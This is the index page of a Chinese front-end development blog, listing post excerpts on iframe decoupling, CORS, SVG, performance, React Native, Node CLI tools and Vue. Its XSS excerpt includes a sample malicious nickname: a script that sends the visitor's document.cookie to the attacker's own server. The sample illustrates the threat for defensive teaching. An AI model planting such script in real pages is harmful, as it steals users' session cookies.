



# JavaScript瞭望塔

纯粹的JS视界,瞭望最前沿JS技术

[🏠 首页](#)[📁 归档](#)[📖 资源](#)[👤 关于](#)

## 大型项目解耦-iframe

📅 2017-08-16

💬 0 Comments

对于软件设计来说，核心莫过于解耦、聚合，今天来说说前端系统的解耦方案。

现在的前端使用Vue、React，这类组件化框架，开发人员可以轻易将不同业务逻辑分散在各个组件内，大大降低了耦合度提高了。多人合作的时候（10人以下），很容易维护一个中型项目。即便后期项目体积过大，使用code splitting等方案去做按需加载也不是什么大问题。

[阅读更多 »](#)

## 简易发布工具

📅 2017-05-23

💬 0 Comments

在一些稍有规模的公司中，基本都会有一套完善的发布系统。

相信很多公司都使用了jenkins作为发布工具，前端最近也是出了一套Faas的发布系统

程序员基本打一个commit，push上去就能完成自动发布，接下来只需要手动点点几个按钮，工作效率提升不少。

那么，大家有没有想过这其中隐藏的流程呢？

[阅读更多 »](#)

## CORS-跨域相关问题

📅 2017-05-23

💬 0 Comments

近期出于工作原因，又折腾了跨域问题，nginx的配置变的生疏了，这次在这里做个总结...

### 跨域问题如何产生的？

跨域限制是浏览器特有的行为，出于安全考虑，浏览器不允许脚本获取其他域下资源。

同域需要同时满足以下3点

[阅读更多 »](#)

## SVG的能力

📅 2017-05-08

💬 1 Comment

看到这篇文章的标题，大家可能会想，现在都17年了，还用SVG？肯定上canvas，WebGL啊！！

没错，我以前也是这么想的，SVG这种老古董学他做甚。



但是最近打算做“绘制流程图”的工具软件时，发现市面上：bpmn.js，百度脑图等用户体验极好的此类产品，都用的SVG技术。那我的想法是不是有些问题？是不是之前太低估SVG了？

阅读更多 »

## 前端性能

📅 2017-04-13

💬 0 Comments

关于前端性能优化的文章数不胜数，有从各个角度切入，也有单抓某点持续深入探讨的。由于个人喜欢纵观全局式的学习，因此这里从多个角度整理、分析前端性能优化可行的一些方案。以下内容有不少是从其他地方摘录、整理而来的，在文末我会把一些比较全面重要的资料提供出来，供大家参考学习。

阅读更多 »

## 前端安全-XSS注入

📅 2017-04-13

💬 0 Comments

目前WEB应用为满足用户需求，也变得越来越复杂，随之而来的就是各种网络安全的问题。今天在这里讨论前端安全相关的事情。然而想做到绝对安全几乎不可能，支付宝也爆过安全问题，而我们要做的就是提高安全等级，只要能让黑客的攻击成本。

### XSS注入示例:

如果一个社交网站没有做XSS防范，一位恶意博主的昵称如下：

```
1  <script>
2    $.ajax({
3      url: '自己的服务器',
4      dataType: 'jsonp',
5      data: {'cookie': document.cookie}
6    });
7  </script>
```

阅读更多 »

## React-Native开发Android应用-环境搭建

📅 2017-04-11

💬 0 Comments

JS的跨“端”能力让人瞩目，从Browser到Server、Android、IOS甚至Unity、单片机如果你是个多“端”爱好者，那么现在就开始学习使用React-Native 开发android应用吧。学习第一步：android环境搭建，React-Native使用（后续会陆续更新）感兴趣、有经验、有问题的同学都可以加群讨论....  
参考文档: <https://reactnative.cn/docs/0.43/getting-started.html>  
项目源码: <https://github.com/zhentaoo/ReactNativeSeed>

阅读更多 »



## 用NODE写一个脚手架工具

首先抛出一个问题，大家在使用webpack，webpack-dev-server，babel-cli，vue-cli，npm这类工具的时候有没有思考过一个问题？为什么我全局安装这个模块之后，就能在shell中使用webpack，babel这些命令？

解答：之所以能使用webpack这些命令，意味着我在npm install webpack -g时，有个可执行文件添加到了我的环境变量中,如下图：

```
lrwxr-xr-x 1 zhentaoo staff 30B Aug 29 11:14 vim -> ../Cellar/vim/7.4.2235/bin/vim
lrwxr-xr-x 1 zhentaoo staff 34B Aug 29 11:14 vimdiff -> ../Cellar/vim/7.4.2235/bin/vimdiff
lrwxr-xr-x 1 zhentaoo staff 35B Aug 29 11:14 vimtutor -> ../Cellar/vim/7.4.2235/bin/vimtutor
lrwxr-xr-x 1 zhentaoo staff 35B Oct 3 00:36 vue -> ../lib/node_modules/vue-cli/bin/vue
lrwxr-xr-x 1 zhentaoo staff 42B Feb 22 17:04 webpack -> ../lib/node_modules/webpack/bin/webpack.js
lrwxr-xr-x 1 zhentaoo staff 64B Feb 22 17:01 webpack-dev-server -> ../lib/node_modules/webpack-dev-server/bin/webpack-dev-server.js
lrwxr-xr-x 1 zhentaoo staff 44B Dec 17 16:29 weex -> ../lib/node_modules/weex-toolkit/bin/weex.js
lrwxr-xr-x 1 zhentaoo staff 41B Dec 17 14:19 weexpack -> ../lib/node_modules/weexpack/bin/weexpack
lrwxr-xr-x 1 zhentaoo staff 30B Sep 16 2015 wget -> ../Cellar/wget/1.16.3/bin/wget
```

阅读更多 »

## VueJS-组件通信

前端在处理交互时，经常会遇到一个问题:组件之间如何通信？  
下面介绍几种常用的组件通信方式,包括父子组件，兄弟组件，复杂组件下的不同通信方式

### 1. 现代通信方式: FLUX VUEX

FLUX将一个应用分成四个部分:[文档](#)

阅读更多 »

## VueJS-项目搭建

- 想系统学习vue的同学，可以看下Vue官方教程[Vue2官方文档](#)
- 为了降低学习成本，我在这里提供一个搭建Vue seed的脚手架工具[poke-ball](#)，文档可以在poke-ball的README.md中看到

阅读更多 »

